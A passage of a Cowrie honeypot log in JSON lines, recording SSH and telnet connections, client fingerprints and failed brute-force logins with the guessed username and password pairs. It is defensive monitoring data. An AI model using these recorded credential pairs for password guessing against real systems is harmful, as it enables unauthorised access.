ac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:30.495689Z","src_ip":"38.148.249.2","session":"50cd11e766ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminnimda","message":"login attempt [root/adminnimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:30.807192Z","src_ip":"38.148.249.2","session":"50cd11e766ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:31.879216Z","src_ip":"38.148.249.2","session":"50cd11e766ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.92026138305664,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:32:37.012471Z","src_ip":"137.184.5.188","session":"eaac9508f9d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":52646,"dst_ip":"10.17.0.5","dst_port":22,"session":"4adbd911b4c1","protocol":"ssh","message":"New connection: 209.99.190.200:52646 (10.17.0.5:22) [session: 4adbd911b4c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:01.571156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:01.574562Z","src_ip":"209.99.190.200","session":"4adbd911b4c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:01.674842Z","src_ip":"209.99.190.200","session":"4adbd911b4c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@1","message":"login attempt [root/Server@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:02.104314Z","src_ip":"209.99.190.200","session":"4adbd911b4c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":52366,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac8a2282b02e","protocol":"ssh","message":"New connection: 103.122.221.179:52366 (10.17.0.5:22) [session: ac8a2282b02e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:02.537700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:02.542265Z","src_ip":"103.122.221.179","session":"ac8a2282b02e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:02.794948Z","src_ip":"103.122.221.179","session":"ac8a2282b02e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:03.207640Z","src_ip":"209.99.190.200","session":"4adbd911b4c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13021996","message":"login attempt [root/13021996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:03.557111Z","src_ip":"103.122.221.179","session":"ac8a2282b02e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:04.811142Z","src_ip":"103.122.221.179","session":"ac8a2282b02e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":51388,"dst_ip":"159.203.135.109","dst_port":22,"session":"fabf16baa570","protocol":"ssh","message":"New connection: 159.65.58.200:51388 (159.203.135.109:22) [session: fabf16baa570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:09.396198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:09.627683Z","src_ip":"159.65.58.200","session":"fabf16baa570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:09.630992Z","src_ip":"159.65.58.200","session":"fabf16baa570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"satyshev","password":"123456","message":"login attempt [satyshev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:11.124701Z","src_ip":"159.65.58.200","session":"fabf16baa570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:12.590793Z","src_ip":"159.65.58.200","session":"fabf16baa570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56152,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5d7a35d6a1c","protocol":"telnet","message":"New connection: 107.6.151.170:56152 (159.203.135.109:23) [session: d5d7a35d6a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:14.036310Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58832,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdb8566e54ec","protocol":"telnet","message":"New connection: 107.6.151.170:58832 (159.203.135.109:23) [session: bdb8566e54ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:18.067272Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":44836,"dst_ip":"159.203.135.109","dst_port":22,"session":"5553866e3837","protocol":"ssh","message":"New connection: 202.61.233.105:44836 (159.203.135.109:22) [session: 5553866e3837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:30.947781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:30.951310Z","src_ip":"202.61.233.105","session":"5553866e3837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:31.045799Z","src_ip":"202.61.233.105","session":"5553866e3837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hnt@S3cur3$","message":"login attempt [root/Hnt@S3cur3$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:31.330211Z","src_ip":"202.61.233.105","session":"5553866e3837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:32.428473Z","src_ip":"202.61.233.105","session":"5553866e3837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":59318,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a78a79c0bbc","protocol":"ssh","message":"New connection: 109.91.4.177:59318 (10.17.0.5:22) [session: 4a78a79c0bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:38.687379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:38.691382Z","src_ip":"109.91.4.177","session":"4a78a79c0bbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:38.791935Z","src_ip":"109.91.4.177","session":"4a78a79c0bbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password@12","message":"login attempt [root/password@12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:39.585514Z","src_ip":"109.91.4.177","session":"4a78a79c0bbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:40.692056Z","src_ip":"109.91.4.177","session":"4a78a79c0bbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.921324491500854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:33:45.957554Z","src_ip":"107.6.151.170","session":"d5d7a35d6a1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.192572593688965,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:00.259747Z","src_ip":"107.6.151.170","session":"bdb8566e54ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":49008,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ae490cf51b0","protocol":"ssh","message":"New connection: 38.148.249.2:49008 (10.17.0.5:22) [session: 9ae490cf51b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:03.875936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:03.880311Z","src_ip":"38.148.249.2","session":"9ae490cf51b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:03.950869Z","src_ip":"38.148.249.2","session":"9ae490cf51b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"111","message":"login attempt [postgres/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:04.270540Z","src_ip":"38.148.249.2","session":"9ae490cf51b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:05.342886Z","src_ip":"38.148.249.2","session":"9ae490cf51b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":35258,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b9b7d608794","protocol":"ssh","message":"New connection: 209.99.190.200:35258 (10.17.0.5:22) [session: 4b9b7d608794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:33.386891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:33.390441Z","src_ip":"209.99.190.200","session":"4b9b7d608794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:33.489137Z","src_ip":"209.99.190.200","session":"4b9b7d608794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password@12","message":"login attempt [root/password@12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:33.919629Z","src_ip":"209.99.190.200","session":"4b9b7d608794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:35.020096Z","src_ip":"209.99.190.200","session":"4b9b7d608794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":39054,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b2f333aeecc","protocol":"ssh","message":"New connection: 80.94.92.55:39054 (10.17.0.5:22) [session: 5b2f333aeecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:41.086240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:34:41.212225Z","src_ip":"80.94.92.55","session":"5b2f333aeecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 